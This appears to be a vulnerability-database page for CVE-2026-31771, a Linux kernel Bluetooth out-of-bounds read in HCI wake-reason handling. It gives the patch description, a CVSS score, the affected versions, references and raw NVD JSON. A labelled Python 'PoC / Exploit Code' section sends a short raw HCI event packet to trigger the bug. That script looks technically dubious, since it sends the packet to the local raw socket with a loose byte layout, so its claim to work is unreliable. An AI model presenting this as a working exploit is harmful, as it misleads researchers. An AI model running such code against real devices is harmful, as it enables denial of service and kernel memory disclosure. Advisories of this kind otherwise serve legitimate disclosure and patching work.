CVE-2026-31771

Description

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_event: move wake reason storage into validated event handlers hci_store_wake_reason() is called from hci_event_packet() immediately after stripping the HCI event header but before hci_event_func() enforces the per-event minimum payload length from hci_ev_table. This means a short HCI event frame can reach bacpy() before any bounds check runs. Rather than duplicating skb parsing and per-event length checks inside hci_store_wake_reason(), move wake-address storage into the individual event handlers after their existing event-length validation has succeeded. Convert hci_store_wake_reason() into a small helper that only stores an already-validated bdaddr while the caller holds hci_dev_lock(). Use the same helper after hci_event_func() with a NULL address to preserve the existing unexpected-wake fallback semantics when no validated event handler records a wake address. Annotate the helper with __must_hold(&hdev->lock) and add lockdep_assert_held(&hdev->lock) so future call paths keep the lock contract explicit. Call the helper from hci_conn_request_evt(), hci_conn_complete_evt(), hci_sync_conn_complete_evt(), le_conn_complete_evt(), hci_le_adv_report_evt(), hci_le_ext_adv_report_evt(), hci_le_direct_adv_report_evt(), hci_le_pa_sync_established_evt(), and hci_le_past_received_evt().

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复提交之前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-31771
# Description: Trigger the out-of-bounds read by sending a malformed HCI Event.
# Note: This requires a Bluetooth adapter capable of raw HCI injection.

import socket
import struct

# Bluetooth HCI constants
BTPROTO_HCI = 1
HCI_EVENT_PKT = 0x04

def create_malformed_hci_event():
    """
    Constructs a short HCI event packet to trigger the vulnerability.
    The event is designed to be shorter than expected by the handler.
    """
    # Example: LE Meta Event or similar that expects a BD_ADDR
    event_code = 0x3E 
    plen = 0x01 # Claim payload length is 1, but handler expects >= 7 for bdaddr
    
    # Packet structure: Type, Event Code, Plen, Payload
    packet = struct.pack("<BBB", HCI_EVENT_PKT, event_code, plen)
    packet += b'\x00' # Insufficient payload
    
    return packet

def send_raw_hci(packet):
    sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, BTPROTO_HCI)
    sock.bind((0,))
    try:
        sock.send(packet)
        print("[+] Malformed HCI packet sent.")
    except Exception as e:
        print(f"[-] Error sending packet: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    print("Attempting to trigger CVE-2026-31771...")
    pkt = create_malformed_hci_event()
    send_raw_hci(pkt)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31771
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31771
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31771/
[4] VulDB https://vuldb.com/cve/CVE-2026-31771
[5] https://git.kernel.org/stable/c/2b2bf47cd75518c36fa2d41380e4a40641cc89cd
[6] https://git.kernel.org/stable/c/86c8d07a64d553c41e213b52650020010f9ef23e

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31771", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:40.337", "lastModified": "2026-05-11T18:00:00.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_event: move wake reason storage into validated event handlers\n\nhci_store_wake_reason() is called from hci_event_packet() immediately\nafter stripping the HCI event header but before hci_event_func()\nenforces the per-event minimum payload length from hci_ev_table.\nThis means a short HCI event frame can reach bacpy() before any bounds\ncheck runs.\n\nRather than duplicating skb parsing and per-event length checks inside\nhci_store_wake_reason(), move wake-address storage into the individual\nevent handlers after their existing event-length validation has\nsucceeded. Convert hci_store_wake_reason() into a small helper that only\nstores an already-validated bdaddr while the caller holds hci_dev_lock().\nUse the same helper after hci_event_func() with a NULL address to\npreserve the existing unexpected-wake fallback semantics when no\nvalidated event handler records a wake address.\n\nAnnotate the helper with __must_hold(&hdev->lock) and add\nlockdep_assert_held(&hdev->lock) so future call paths keep the lock\ncontract explicit.\n\nCall the helper from hci_conn_request_evt(), hci_conn_complete_evt(),\nhci_sync_conn_complete_evt(), le_conn_complete_evt(),\nhci_le_adv_report_evt(), hci_le_ext_adv_report_evt(),\nhci_le_direct_adv_report_evt(), hci_le_pa_sync_established_evt(), and\nhci_le_past_received_evt()."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10", "versionEndExcluding": "6.19.12", "matchCriteriaId": "5C6630F4-82C7-43EE-A9AC-FF59BBAEEDD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2b2bf47cd75518c36fa2d41380e4a40641cc89cd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/86c8d07a64d553c41e213b52650020010f9ef23e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}